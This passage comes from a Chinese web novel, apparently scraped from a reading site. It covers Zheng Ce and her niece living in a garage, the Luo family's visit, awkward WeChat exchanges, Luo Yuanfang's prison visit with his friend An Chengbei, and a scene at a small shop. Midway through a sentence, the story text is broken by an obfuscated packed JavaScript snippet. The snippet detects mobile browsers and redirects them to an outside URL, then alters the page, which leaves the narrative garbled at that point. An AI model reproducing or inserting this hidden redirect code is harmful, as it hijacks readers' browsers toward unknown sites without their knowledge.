郑策出来看见骆远方的时候,两人都尴尬得楞了下。 只有江蔚云发现宝藏一样指着骆远方: “腹肌!” 骆淇看见江蔚云,立马嗅出八卦的味儿,笑着问:“谁家小孩儿,这么可爱?” “我家的。”郑策不耐烦道。 一想到之前见面,两人都认识自己,还一直装傻,非常不爽。 两人瞪大眼睛惊讶地看向她。 “我姐大女儿的孩子,出了那档子事,就郑策带着了。” 宋熙连忙解释。 两人又回过神来同步点了点头。 骆乘光个不靠谱的,丢在抗战里,活不到三秒就得嗝儿屁。 姨妈和亲妈差别还是有点大吧。 来之前,骆远方听骆淇说了郑策家的事,大概是煤气中毒,只活了两个小孩儿。 造孽啊,骆淇其实已经有些不忍心了。 而郑策本意也不是讨什么说法,纯粹想恶心一下韩忠夏。 没想到这人平日里称自己是一家之主,事情追到门口了,竟把宋熙推出来抗事。 呸,富顺豆花都没他懦。 几个人一同寒暄,郑策大概明白,房子是卖给骆淇的,手续上确实有瑕疵,但她没功夫再追究这些。 她自己的人生还一团乱麻呢。 于是基本表示妥协后,饭桌上还算吃得愉快。 真像是老友团聚。 宋熙说最近高铁修建又有了新投资,再动工就快了。 骆淇又把她环球旅行的宏伟蓝图描述了一番。她不吃牛肉,又触景生情牛帮她们那一辈干过活,老了不能忘恩负义,佛曰心诚则灵等等。 江蔚云吃吸乐棒糖的时候,骆远方正一脸不理解地看着她。然后江蔚云每种颜色分了他一根,他费半天劲也没吸出来,一气之下全扔了。 什么狗屁零食! 除此之外,骆远方在饭桌上一言不发,随时有种掀桌的架势。 旁边的郑策倒是一上桌就开吃,他还没动几筷子,身边人已经打饱嗝了。 “你不烫吗?”骆远方难以置信地看着她,终于在饭桌上发出第一句疑问。 郑策回味了下,吧咂嘴,“还好?” “哎哟你俩这样算来是同学啊,加个联系方式,以后在学校也可以相互照应着。” 骆淇忽然提点道。 拂不了老太太的面子,骆远方认命地打开名片二维码,郑策也一眼不愿多看,扫了码就将手机揣回兜里。 骆远方咧咧嘴。跟他有毒似的,至于吗? 骆老太太性子泼辣,也直爽得很,相处起来非常轻松,一顿饭几乎没停过嘴。 走的时候看见郑策和江蔚云去车库,忙道:“大晚上的不用送了,我们走回去消消食。” “……她们。” 宋熙看了眼车库亮起的灯,有些艰难道,“住那儿,家里房间不够了。” 三个人,一人一间,当然不够了。 “啊这样。”骆淇声音小了下来。 路过车库时,看了眼,没再说话。 “这个郑策被饿过一样,吃饭像是有人在跟她抢似的。” 回去的路上,骆淇评价道,“竟然住车库,这宋熙两口子还真是脸大。” 说到这里,她忽然扇了骆远方胳膊两巴掌,“都说了对女孩子温柔点,风度,风度呢!你饭桌上丧着批脸给谁看呢?” “不是你让我别给好脸色,显得我们家容易欺负么?” 骆远方护痛着一边躲一边瞪她,“她也不是那么容易欺负的,人用法律武器逮罪犯的时候,你还在公园里讨论白菜降价呢。” 骆远方心里起码还怀揣着少年人对公平正义的渴求,知道自家这件事不占理,有些过意不去。 他本意是吓唬吓唬骆淇,让骆淇不如赔点钱,没想到骆淇忽然感叹: “可怜的孩子。我看屋里的行李箱都没打开,在车库肯定住不下去了……要不把那间卧室给她们?顺带着照顾下,以后也理直气壮些。” 骆远方觉得他真是搬起石头砸自己的脚。 骆淇又叹:“那孩子吃饭吃得太急,让我想起我妈,她们那一辈,总是吃不饱饭。现在生活好了,怎么还有这样的孩子呢……” “打住!”骆远方抬起尔康手,“这倒也不必……” “人在我们家的时候,不让我上楼,怕人下不来台。又明示暗示要我来他们家看看情况,你不是这个意思吗?惺惺作态。” 骆淇斜她一眼,一脸看破的表情,拍拍骆远方。 “没事,我孙子重情义是好事,这个女孩儿我罩定了,花坛那群奶奶都是她的后备军。接过来,一起住!” “给她们住?”骆乘光听见这个大胆的决定时,感觉肝儿颤。 “你们知道她下午抱了个什么进屋吗?一罐子骨灰!” 骆淇闻言沉默了下,更心疼这姑娘了。 她轻拍骆远方,“就这么定了,不是加了微信吗?去问问。韩忠夏肯定不会给她们好脸色的。” “真的假的?” 骆乘光还蹲在地上洗自己的衣裳,扭过头去时,听见咔嚓一声响。 “你管真的假的,我先问问你我跟你有仇吗?”骆淇一指禅顶着骆乘光脑袋。 “……没吧?”骆乘光想了想。 骆淇吼他:“那你现在洗衣服,一晚上冻出个冰坨子挂在外面,你要吃啊?” 此时,骆远方在厨房又发来电报。 “妈呀,骆淇,你孙子把碗洗了!” 骆远方一言难尽看着碗柜里还滴着水的盘子,嫌弃道:“就他两根手指洗完所有的碗的造型,你敢洗,我还不敢吃呢。” “……够了,你们俩。” 骆乘光蹲在地上深吸一口气,尽力一字一顿。 “我的冰坨子我自己穿。我洗的碗,就算敷了屎,我也自己舔,请你们,别管我。好吗?” 好不容易主动做家务一回。这些人!怎么能这么刻薄呢! “你说的。”骆淇目的达成,迅速转身朝骆远方喊,“快给人发消息问!” 电视里正巧放着彩虹糖广告:快到碗里来! 骆淇笑眯眯地看着,觉得很应景。 “知道了!” 骆远方在卧室里喊,“屁大一个地方,说话跟喊山一样,人以为我们家有什么毛病呢。” 他点开手机,聊天框显示: 您已添加了放屁如同风铃般优雅的女子,现在可以开始聊天了。 而他的头像顶着一片稻田自动发过去一句话: 【我是那个农民。】 …… 第一次加好友,开场寒暄总是尴尬的。而这两个微信名,骆远方一时分不清谁更尴尬。 好在那个农民脸皮厚。 那个农民先发制人:【握手jpg.】 一分钟,无人回应。 三分钟,无人回应。 等骆远方察觉过来时,已经对着郑策头像,落日下的架子鼓发了十分钟的呆。 操。 他把手机丢到床上,去和骆乘光抢厕所。 8. 欲擒故纵 一到冬天,气候干得就跟要蜕一层皮似的。一脱秋衣,漫天飞雪。 长头发如果披散一整天,晚上梳的时候就感觉自己跟藏獒身上的天然毛毡一样,全是结。 宋熙家的热水器不稳定,郑策洗澡的时候,感觉这热水器把她当死猪烫,敏感肌都快洗出来了。 她费劲巴拉收拾完自己,转头就在狭窄浴室的墙角看见旺盛繁衍的霉菌群,黑乎乎地自成一片森林。 这什么鬼地方? 又干又潮。 把江蔚云也里里外外涮一遍,折腾下来快半夜了。她点开手机,第一排就是那个农民伯伯的消息。 郑策下意识以为加了个卖农产品的广告销售。 点进农民伯伯朋友圈,还是熟悉的中老年发酵风味,清一色的推文链接。 -百搭丝巾,草原打卡拍摄百种姿势任你挑选。 -冬吃萝卜夏吃姜,这点一定要记牢。 -大蒜大葱吃了嘴臭是什么原理? 最新的一条是今晚发的:吃饭太快对身体有哪些害处? 郑策怀疑骆远方把自己工作号给她了…… 盯着商务风浓重的握手表情沉思了三秒,她直接退了出去。 什么毛病! 什么教养! 一直到早上那个放屁优雅的女子也没回消息。 骆远方眯缝着眼皱眉看了看手机,一把拉过被子,企图用闷死自己的方式再昏迷过去。 “给你三秒。”骆淇在门口用开挖掘机的架势砸门,“不起床今天就把你粘床上!” “三二一。”她用三分之一秒时间不到数完了三个数,直接冲了进去,和骆远方抢被子。 “乘光都出门两小时了,起来,骆家不养闲人!” “哎嗨呀。”骆远方幽怨地爬起来,“你这三秒被鬼撵了么。” “你管我。” 骆远方坐起来但眼睛还是闭着的,骆淇一把捏住他鼻子,阻隔空气诊疗法。 “今天本来要去牢里送东西,你回来了你去。” “我不想去。” 骆远方顶着鸡窝头,睁开一只眼睛看她,被捏着鼻子发出懒羊羊的声音。 “我是为睡觉而生的高贵的羊,可不是沸羊羊能比的。” “哎哟,再卖萌我抽你丫的。” 骆淇连忙松手,又把食指和拇指在骆远方睡衣上擦了擦。 “你爹你不去谁去,上回是乘光去的,这回你去。” 骆淇想了想,又语重心长说:“远方啊,有些事不能一直回避。一直不去面对,就会一直过不去,你知道我意思吧?” “哎呀我去去去。”骆远方无奈应下。 “别骂脏话。” “我……” 再从厕所收拾好出来时,又恢复了厌世欠抽的样子,他在骆淇准备的东西里扒拉。 “你买的这衣服有拉链带不进去,这个有束带也不行,还有这个……” “我重新去买两件,再买些吃的。” 他抬头对上骆淇毫无内容的目光,瞬间闭嘴,去找药箱。 “昨天郑策吃太快,带得我都上高速了,一定没嚼碎,现在肚子里都是实心儿的。” 刚拿到消食片,两人隔着门板就感受到了门外两位不速之客的热情。 “骆哥,我来看你啦!还有何,柯老师也来啦!” “通风报信呢你。” 还没开门,又听见柯言的训斥:“你这头发都快扎眼里了不疼吗?我每次转头都以为惹上了什么不干净的东西,吓死我了……” “柯老师,您怎么来了?” 骆远方把门打开,楞在原地。 然后被骆淇给侧转九十度,让开路,两人成迎宾队形迎客,骆淇笑道: “老师过年还跑一趟,辛苦了!” “没事,过来了解了解情况。” 柯言把手里的东西递过去,“上回骆奶奶说要去探视,我知道规矩挺多的。帮着带了点衣服还有年货,你们看看能不能用。” “您不会看上我爸了吧?” 骆远方接过来,是件羽绒服,而且一看就不是用劣质飞丝以次充好的那种。 骆淇给了他一脚,又对柯言身后的安城北说:“哟,今儿暴发户也光临寒舍,怎么伴手礼都没有?” “奶奶,我就是送您的礼物,高兴不?” 安城北人如其名,富乐之美丽者也,长着一张最秀气的脸,干着最狠的事。 他比骆远方矮一届,也是体训特长生,实心球铅球种子选手,徒手捏西瓜根本不在话下。 但他特长了一年就不堪重负,决定普通一回,于是早于骆远方转进了柯言的班。 这不恰好又同班了嘛,他来提前认亲。 “奶奶你可不太厚道,到处去旅游,我也没见到半个礼物呢。” 一听没礼物,骆淇顺手就要关门,还好这小子脸皮厚,伸脚一挡,也蹭了进来。 “哎别关啊,奶奶你这日子过得太潇洒了,我都想退休了都。” “潇洒的前提是,你能够不担心明天流落街头饿死。”骆远方开门招呼他进去,“你不知道我们过的是什么太平狗的生活。” “你吃什么呢?”安城北看他,吃货的注意力被瞬间转移。 “给我来点。” “……健胃消食片。” 骆远方楞了瞬,拿着盒子在他面前晃。 “整一颗。” 安城北抬抬下巴。 “消食片,不是零食。”骆远方有些震惊地看着他,强调道。 安城北也不耐烦,看着他,一副理所当然且脑子不太聪明的模样。 “知道,给我整一颗。” 骆远方一脸同情地直接给了他一盒。 客厅那边骆淇又喊:“远方过来,柯老师说要你写两幅对联回去贴着,你可长脸了。” 看过去,茶几上已经平铺好了一层毛毡垫,红色对联纸剪裁工整按顺序摆放着,墨水和毛笔甚至都备齐了。 这些人是不是都有点大病…… 上门来讨健胃消食片,来要手工对联…… “柯老师您还真是……会利用资源。” “滚一边儿去。” 柯言笑着边看他运笔,边唠叨,“我就是觉得骆远方搞体育那阵,底子就不差,还是不要浑浑噩噩又一年的好。” “是是是。”骆淇一个劲儿点头。 “保留学籍那边,我都沟通好了,你们放心就好。” 柯言趁安城北不备,一把把他头发帘给薅成中分,任凭安城北瞪着,继续说: “这学期还有个Z大退学的高材生要复读,你们可以搭个伴儿。” 笔尖有力顿下,收束干脆利落。“是,叫……” “谁啊妈呀?” 安城北声音嘹亮想唱就唱,打断他时,调子本着青藏高原就去了。 “反向高考移民吗?没苦硬吃的神经病吧这是!” 骆远方想用毛笔塞住他的嘴…… 安城北家里对他要求不高,算是个难得平庸又幸福的小孩,导致这狗日的说话有时候不会过脑子,但心态确实好得出奇。 “你又懂了。” 柯言觑他一眼,随即叹了口气,“那孩子也是不容易,你嘴巴给我注意点。班里还口无遮拦,我就给你撕了。” “还有你骆远方,让你找我,偏不来,又在家里等着。钓鱼呢您?你这欲拒还迎的姿势,搞得我很为难啊。” 这次辍学又复读的事麻烦了柯言太多,骆远方对她是心怀感激的。但此时也忍不住瞪大眼睛,“……什,什么欲拒还迎,老师您别乱说好嘛。” 柯言抱着手臂看他,“那好,你这六个月干嘛去了?” 有一瞬间,骆远方都有些怀疑自己的耳朵,是不是听错了。 回来后,遇见的所有人都回避着这个问题。似乎他能回来就万幸了,对他之前的经历闭口不提。 或许担心伤口还没结茧,或许害怕旧事重提。 被柯言冷不丁提起,像是拉开门被迎面北风兜了一脸,刺骨寒气冻得他一哆嗦。 其实知道也没什么关系,就是感觉离家出走有些矫情,有损他的硬汉形象。 “唉,你……” 柯言看着他出神的样子,叹了口气,“我听说这六个月你还在往家里寄钱,我就问一句话,干违法乱纪的事儿没?” “没!”骆远方立马道。 “回来了就尽快收心啊,你不是很有希望我都懒得跑这一趟。起码……比安城北强。” 她犹豫了下,决定伤害另一位小朋友,“不会把周烈王崩,诸侯皆吊翻译成周烈王崩溃,诸侯上吊……” 这句翻译上学期被当成名言在班里广泛传播,普及度堪比颜色小说。 虽然骆远方反应过来时,立马转身背对着他,安城北还是看见他压抑着笑的颤抖。 “笑吧笑吧。”他两眼发直,放弃治疗,“柯老师,你真的,我哭死。” 柯言笑够了,拿起骆远方的杰作对着光欣赏,“哎,真好看,回去我就贴门上。” 光透过红纸,给浓墨笔划勾勒亮色边缘,运笔间意象勾连,一气呵成。急峰处直转,顿点处遒劲。力透纸背,入木三分。 安城北也过去凑热闹,一脸不能理解:“你说你长着一副随时能在街头抡水管砸垃圾桶的模样,怎么这么高雅的书法被你掌握了?” 骆远方说:“小时候……” 骆淇有些心疼地看他一眼。 “小时候无聊,练多了,我都听腻了。”安城北翻白眼打断他。 骆远方收拾桌面道:“嗯,你这样的,没有悟性,练一辈子也达不到我的水平。” 安城北不服:“嘿我就说小时候叫你出去也不出,搁这儿弯道超我呢。当时我还担心把你闷坏了,老心疼你嘞~” “滚。”骆远方拿着毛笔对准他。 “行了,你走吧,要去探视得抓紧了,我再跟你外婆聊聊。”柯言拍了拍他肩膀。 “我也去,我陪我骆哥。”安城北积极报名。 骆远方爸爸的事不算秘密,只是没人提。一部分人是怕他,一部分人是心疼他。 但安城北是个脑残,情商为负,排除在人外。 从另一方面来说,他这种平常对待的态度,反而比任何小心保护都让骆远方感到轻松自在。 骆远方看他:“要不这爸送你?” “不用不用,你留着。”安城北笑嘻嘻道。 路上有安城北也不算坏事,听这小子像个发报机一样嘚啵嘚,至少不会一个人胡思乱想,最后烦躁到自己把自己气得七窍生烟。 人与人之间总是习惯性预设了界限,把底线亮出来横亘在面前。 但不越界的同时也会导致没人真正了解你,造成过度保护,完全疏离。 偶尔有个傻逼越界而不自知,纯粹为了陪你一下,似乎也就不那么孤独了。 这也是安城北嘴欠,却依旧能在骆远方身边活下去的唯一理由。 “你来探视过吗?” “没。” “那你觉得你爸会见你吗?” 骆远方盯着他,“你会见害你坐牢的人么?” “会。”安城北摇摇头,“我会见你的时候往玻璃上吐几口浓痰,恶心你。” 骆远方轻笑一声:“神经病啊你!” 一路上虽然气氛还算融洽,但安城北还是感受到,越靠近城郊那水泥建筑,骆远方的气压越低。 因为路边一个吃糖的小男孩和骆远方对视后,直接吓哭了。 …… “卧槽,劳驾您把脸收收吧。” 安城北一转头看见骆远方一脸阴郁,面色紧绷,薄唇不耐烦地绷成一条直线,顿时也吓了跳。 “知道了暴发户。” 骆远方从兜里掏了根棒棒糖赔给小孩儿。 “瞧不起暴发户呢?我还没毕业就能包养了你。”安城北一脸傲娇。 “求你快包养我吧。” 小男孩接了棒棒糖,还在哭,骆远方又递过去一根。 “怎么办,止不住?” 安城北无所谓道:“走呗,没观众就不会哭了。” 骆远方犹豫了下,看见男孩儿身边的长板滑板,踏了上去。熟悉了两下重量和力道,原地起跳,长板空中三百六十度翻转。 男孩儿立马停了哭声,安城北也楞在原地。 骆远方看了他们一眼,微勾唇角。 找好角度,滑过来时,一脚踩在滑板末端,原地斜立在板上,以末端为轴,连转几圈。 非常漂亮。 停下再往前滑,他脚下又是一勾,长板飞起,一个漂亮的弧线。 右手轻轻一带,板子听话地落回地上。 等两位观众反应过来,他已经滑远了。 帅。 “卧槽,哥你吓我一身冷汗。” 骆远方滑回来时,安城北跑上去,“我一直担心你要是摔了,你外婆得把我们家的钱都给讹完。” “你不会说话就把嘴缝上。” 骆远方弯腰撑着膝盖平视男孩,“不哭了啊?” 结果他一准备离开,身后又开始小声抽抽…… 骆远方无奈,只得让小孩儿坐在板子前面,带着他滑了会儿。 这个速度让他想起郑策刚回来时,他们把摩托骑出三轮的风度来。 安城北则非常兴奋地自告奋勇去旁边小卖部给两人买水喝。 但这个傻逼手机都落骆远方这儿了。 骆远方叹了口气,照顾两个低龄儿童还真麻烦。 为了避免安城北被当成小偷,他滑着板子带小孩儿去小卖部找他。 但一进门就听见男人尖酸刻薄的声音: “我天远地远从市区把货拉过来,涨点价怎么了,爱买不买!你爹走了后,你脑子也被水泡了,还有脸呆在重点班。年级倒数还跟我讲价……” 他话还没说话,领口已经被骆远方非常不客气地拎起。脚后跟都踉跄着离开了地面。 骆远方沉着脸看他。 “两个选择,第一,免费送我们三瓶水。” 男人正要反抗,他另一只手一把捏住他肩膀关节,发出两声脆响,他继续道: “第二,现在打电话给市场管理局,你说的话都录音了,哄抬物价,什么下场?” “你放屁。” “嘴臭。” 骆远方皱眉拎着他衣领往旁边支开,看了眼四周,笑道:“还卖假货。” 被发现把柄,老板有些心虚,再开口时,声音都细成公公了。 “给你们,拿走滚。” 骆远方一把推开他,眼睛盯着他没动,拧开两瓶水,在他面前横着浇了一地。 “敬你的。” 第三瓶他还没想好怎么发泄,余光里,旁边的小孩看着一地饮料竟然舔了舔嘴唇。 他于是递给了小孩。 “我刚才,没反应过来。”离 开小卖部,安城北有些讪讪道。 “我知道。” “但其实,他说得也没毛病。” 安城北有些失落,“当场要我算打折后的钱,我不一定算的出来。你们都知道我,成绩确实不行。” “嗯。” “嗯?” 骆远方停下,看着他,“我们能骂你,但是他不行。就像我们能一起骂富乐九中,但是六中的人敢骂一句,我们立马干一架一个道理。” “什么道理?” “就是我们是一伙的,内部的人是好是坏,轮不到不相干的人瞎逼逼,懂了吗?” 骆远方拍拍他的脸,叹了口气,。 “一条船上的人,一根藤上的鸟,一个坑……” 他猛然刹住话头。 “一个坑里的粪?蛆?” 安城北这种时候反应很快,他深吸了口气,释然地笑笑,“话糙点,我就懂了。” 这种毫无道理的偏爱很窝心。 “骆哥。” 他想了想又说,“我爸的事,你不用太忌讳,都过去了。就跟我对你爸的态度一样,你不要让我感受到特殊对待行吗?我真不愿意再被特殊对待了……” “行,你个傻逼。” 安城北立马笑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812337|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来。“诶,就是这样,该骂骂,求你骂我,你骂我吧!” “我看你就是贱!” 骆远方笑了,他伸伸懒腰,“所以啊,放心大胆地接受我们对你毫无理由又明目张胆的偏爱吧,世界不会公平,我们更是,哪儿能对谁都好。” “哎哟,跟你们这种边界感贼重的人聊天就是累。直来直去多好啊!” 安城北这个人,好就好在自我治愈能力特别强,跟随身带着血包似的,随时准备满血复活。 沉默了没一阵,安城北又呆不住了。 “诶?“安城北想努力找话题,想了想,又说,“算了。” 过了会儿,他又诶一声,“算”字刚发了个嘶音,骆远方斜他一眼,一字一顿。 “没话说就打哈欠玩儿。” “啧,主要是我觉得有点丢人。”安城北犹豫了下,还是下定决心,“你知道镇上冒了个人出来嘛?” “我不认识土地爷。” “不是。”安城北话头开启就不会轻易结束。 “一个女的,长得倒是挺好看,之前没见过。拿着刀抢了我家小超市,我差点小命不保呢!” 说完他还拿了张照片出来,“喏,就这个夜叉,吓我三百跳。” 骆远方看了他一眼,没说话。去看手机里的照片,挑了下眉。 郑策? 这人还真是属螃蟹的,一回来就到处横着走。 原本探视完骆远方不想再听这人逼逼叨叨,看到照片又来了兴趣。 “视频还有么?” “有啊,看不太清是不是?”安城北挤眉弄眼看了会儿, “待会儿带你去店里看,妈的,老子这辈子还没被刀架在脖子上威胁过!就他妈为了个蛋黄派,我都不知道是不是该夸她……” 说是探视,骆远方其实并不想见他爹。而心有灵犀的,他爹也不想见他。 于是交接东西的手续很快就办完了。 快得像是去上供的。 知道见不了面的时候,骆远方心里说不上来是松了口气还是有些郁闷。 就像小时候一个人在家里,知道外面没人,听见脚步声还是忍不住开门看两眼。最后发现,啊,原来只是路人的心情。 明知没有希望,知道也提前接受结果,但在看到空荡荡的楼道时,还是会再次失望。 所以这一趟他是提前在心里有预期的。 唯一的变数就是安城北。 一直到出监狱门,身边的安城北不知道为什么,带人看自己挨揍都能这么兴奋。 莫名其妙的傻乐氛围连带着他也清澈了几分。 果然傻子是会传染的。 “你别犯傻啊,那个叫骆远方的小孩加了好友,也别去招惹。” 宋熙照例把郑策和江蔚云的饭端到车库里来,叮嘱道。 “他爸就是放高利贷的,跟害你爸妈那些人一路货色。入狱后他妈就疯了,神神叨叨的,自杀了。” 郑策接过饭碗,皱了皱眉,“为什么?” 宋熙奇怪道:“什么为什么?” “为什么这里的人都爱放高利贷?” 宋熙嗨哟一声,“还不是之前拆迁重建,暴富了老多人呢。突然拿到一大笔钱,不知道怎么办,来钱最快就去放贷,就这么废下去了呗。” “他们家也是拆迁户?” 郑策回忆了下骆家祖孙三人的穿着打扮,不像是藏富,更像是真穷。 “本来是的,这不败光了嘛,所以造孽啊。” 宋熙帮着收拾桌面,没看她,“还是上次那句话,能走,就不要留在这儿。” 她弯腰时,领口处露出一个小玉观音,郑策还没问,她又不好意思地收回去。 “最近股市行情又变好了,这是忠夏重新买的,之前的事就过去了,你也别在意了。” 过去了? 说得轻巧。 韩忠夏今天心情确实是好,竟然破天荒拿着一碗大蒜和葱过来问两人要不要下饭用。 郑策想起骆远方的朋友圈科普,摇摇头说不用了,不习惯。他也只是啧了声,说她们臭讲究,哼着歌儿就走了。 真的是没有隔夜的仇吗? 郑策看着宋熙满足的笑容,一瞬间有些困惑。 泼墨的白纸还真能洗干净? 都是一家人,没有什么事是过不去的,真的是这样吗。 金佛没了,当时摔瓶子爆粗口的场景还历历在目,如今施暴者大度地矮下身段,说揭过去了。 再纠缠者就会显得过于理性,被谴责说一家人之间哪要算这么清。 一个巴掌一个甜枣。 宋熙在一次次妥协里逃避着什么,还是为了大局和整个家庭在让步? 郑策有一瞬的发愣,但她很清楚地知道,自己想要什么。 远离吃人的大城市,躲起来,安稳过一生,顺带照顾好江蔚云。这就够了。 至于什么忍让,委屈,退却……她都不会再妥协,不想再咬碎牙和血吞。 去他妈的操蛋世界。 忽然江蔚云扯了扯她袖子,“小姨妈,你还想在这儿住吗?” “你呢?” 郑策有些惊讶江蔚云会聊到这个话题,她也想听听江蔚云的想法、 “我感觉这里比外面好,起码睡觉的时候不用担心有人来抢钱。” 她想了想又仰着头看她,“他们虽然有时候是挺烦的,还不懂事,但多少能帮我们一点,是吗?” 郑策笑着揉揉她的头,“你还真是比我会权衡利弊,难为你了。” 江蔚云眼里又闪着光问:“小姨妈,你还记得昨天老屋里那个哥哥吗,下回见面能不能戳一下他脸上的洞?” “那不是洞,是酒窝……” 郑策递给她筷子,“还有,不能随便戳别人酒窝……” 还有捏腹肌…… 啧。 怎么感觉自己比起江蔚云,有点亏呢。 “那能问一下他,我能不能戳吗?” “……随便你吧。” 郑策看她一眼,“打不过就跑快点。” “嗯,但是昨天来家里那个哥哥长得好凶,我肯定打不过。” “骆远方吗?” 相比他弟弟来说,骆远方确实浑身上下都在强调“我很烦,别惹”的声音。 郑策掏出手机,翻开农民伯伯的朋友圈,递给她,“你看他平时都发些什么,你就不怕了。” 她又说:“害怕是因为未知,你了解了,很多事情就没那么可怕了。” “好像确实诶。” 然后,就在她帮忙盛饭,一个不小心没防备的时候,江蔚云小可爱拿着手机一顿操作。 偏此时,宋熙又过来问郑策什么时候有空,帮忙韩俊生录个视频。 郑策好歹是寄居在人家屋檐下,饭都没吃就应声出去,还回头叮嘱了下江蔚云少玩手机。 视频就是简单的用不同大小的碗,装深度不同的水,筷子敲打,发出不同音调的声响。 郑策之前在乐器店里待过一段时间,宋熙知道她会架子鼓,物理又继承了她爸的脑子,对这方面应该手到擒来。 实际上也如此。 两分钟内她就调好了调,一手拿一只筷子,双手撑在桌边问:“打什么曲子?” “不打,玩儿那游戏的,都是幼儿园嘴炮王。” 骆远方拒绝安城北的消遣提议,打开手机,朋友圈忽然出现十几个红点。 他一头雾水点开,猜测是哪个傻逼又在他养生链接下面讨论西红柿是生吃好吃还是煮熟了好吃。 就看见放屁如同风铃般优雅的女子给他的养生链接一连点了十几个赞…… 好好好,微信不回消息,跑来朋友圈翻他历史。 ……欲擒故纵是吧? 但下一秒他就收到一条消息。 是个hellokitty的粉红表情包,对他招手。 上面一排软萌萌的字:你好啊! 操。 吓得骆远方差点把手机扔了。 这怕是喝假酒了吧? 骆远方瞪着手机陷入沉默…… 9. 郑策喜欢骆远方 “发什么呆呢。” 安城北随手从货架上取下一包泡椒凤爪和一包辣条,“想吃什么自己拿啊。” 店铺旁边,已经坏了的黑色灯管招牌上写着“真烟超市”四个大字,跟着一溜小字“本店销售纯粮烧酒”。 骆远方看了眼上面厚厚的一层灰,收回视线往五元店里面走。 店铺不宽,但进深很长,柜台边见缝插针摆了一地毯的锅碗瓢盆,再往里平行放着几排货架,货架上挂着头绳,文具这些小玩意儿。 最里面,竟然还有两张小圆桌。 是的,如果想在五元店兼真烟酒超市里面喝奶茶,吃烤肠,这里也能满足一切需求。 跟骆淇开着烟花店,入夜了还出来卖羊肉串一个道理。 物尽其用。 “远方来啦,进去玩儿吧。” 安城北的妈妈叫万杨,浅灰色开衫毛衣套深灰色过膝长裙,头发梳成一股麻花辫搭在身后,非常温柔的一个人。 “阿姨新年好。” 骆远方也轻车熟路往里走,里面还有个隔间,是休息用的。 但安城北不在里面。 紧接着厕所里传来水声。 门没关,骆远方刚走过去,就看见安城北弓腰伸着舌头在水龙头下冲刷着。 “你吃屎了?” “滚。” “咔嚓”一声,骆远方笑着给他来了张天狗接水的写真。 “你何必呢,辣到怀疑人生也不知悔改。” “我总有一天会练到吃完一包泡凤爪,气儿都不喘的。”安城北窸窣两口气,又把舌头往水柱下面晾着。 “行了啊,我不是过来看你吐舌头的。” 安城北看他一眼,走到电脑边。 “你看,就是她。” 安城北跟刚跑完八百米似的,喘着粗气,调出监控。 “丫拿刀对着我!” 刚准备放视频的时候,万杨也凑过来看热闹,听安城北这么一说,就笑个不停。 “你不坑人,人能拿刀出来吗?你看这姑娘出门前手都在抖,这也能把你吓着。” 还真是郑策,骆远方看着略显滑稽的“抢劫”视频也忍不住笑。 “你还没个女孩儿厉害,刚让算个算数就傻了……” 安城北本意是让所有关心他的人一同谴责抢蛋黄派的流氓行径,但现在看着笑得合不拢嘴的两人,只想一把砸了这电脑。 他拉着脸沉默了两秒,坐回躺椅上,拿出手机开始打游戏。 “起开,去收银台站着,待会儿我出去一趟,你守店。” 骆远方见万杨单手去提安城北胸口的衣服,扯得老长,都快把他脑袋笼罩过去,顿时觉得这人的温柔还得分对象。 万杨一边拿包,一边说:“你要是把打游戏的劲头用在学习上就好了。” 骆远方忽然有些担心地看过去,安城北才被陌生人当众羞辱了一遍,现在脆弱的小心灵不知道愈合没有。 但他担心显然是多余的,安城北头也不抬回嘴: “你以为我打游戏打得很好吗?” 诶。 还得是您牛,面皮堪比城墙拐弯儿。 “万阿姨,有小葱吗?”此时一个女孩站在门口问。 骆远方根本来不及怀疑这个五元店竟然还顺带卖菜,就认出了门口的人。 皮肤很白,五官立体,一刀切的短发长度刚好到锁骨,浅色眸子看过来,像一个精致的机械姬。 但这机械姬可是女子组短跑的记录保持者。 安城北也立马从躺椅上蹦起来,直勾勾如临大敌地看着她。 “哎哟,这阵仗,兄弟要上前线了?” 万杨看了他一眼,“吓我四百跳。” 她抚平胸口,转而笑着对女孩儿说:“有的,等着啊,我去给你摘两根。” 三个人就这么在门口成三角队形站着,谁也没说话。 要是路过一人,准得以为这里在练什么邪门功法。 万杨拿了葱直接给女孩,没收她钱,送人走了后意味不明地看着两人,“说说吧。” “说,说什么?”安城北瞅了眼骆远方。 “暗恋?情敌?爱而不得?” 万杨胳膊撑在柜台上,一副了然于胸的模样,转了转手里的杯子。 “你们这个反应,不简单。这姑娘有礼貌,长得也不错,人应该看不上你吧?” “我不认识。”安城北把我字加重音,拉长语调,示意万杨别刨根问底了。 万杨不愧是亲娘,瞬间接收信号,仰头喝了口水,一副恨铁不成钢的模样道: “这么漂亮的姑娘都不认识,你说你有什么用,就跟你手里的游戏过一辈子吧你。” “哎呀你快走吧。” 安城北揽过万杨往门外推,“去晚了就来不及了。” “我去买两件春装,倒也不用这么急……你有特殊要求吗?” 安城北向她招手,喊道:“你看着买就行!” 其实骆远方挺羡慕他们母子两的相处模式,打打闹闹又无话不说。 虽然安城北有时候卖萌嘟嘴什么的,太瞎眼睛。 但这是在精心呵护下成长的一朵儿娇花,油腻些就是肥水灌多了,也正常。 送走万杨,油花儿转头贼眉鼠眼地问:“刚才那个女孩儿……” “闭嘴。” “是不是跟你出走六个月有关?” 安城北迅速说出来。 “你透露一点点吧,弟弟我真担心你。” 骆远方犹豫了下,偏开头说:“……不是。” “嘶,那这是两件事,骆哥你越来越复杂了。” 安城北扶着下颚,虚着眼睛看他,“复杂的男人果然有吸引力。” “承让,顶多比你多几道脑沟儿。” “那你出去到底干嘛了?”油花儿开始得寸进尺。 骆远方看他一眼,叹了口气,“出去跟着一团队拍纪录片。” “哎我就知道你最有出息!” 安城北一拍大腿,“有成果吗?” “没,我拍的都不行,被毙掉了。” 骆远方面无表情看着他。 也就他们这群人把他当个天才,出去之后才发现,在外面,他引以为傲的本领,屁都不是。 “但画了两幅写生,你要看么?”骆远方点开手机相册,递给他。 是彩铅画。 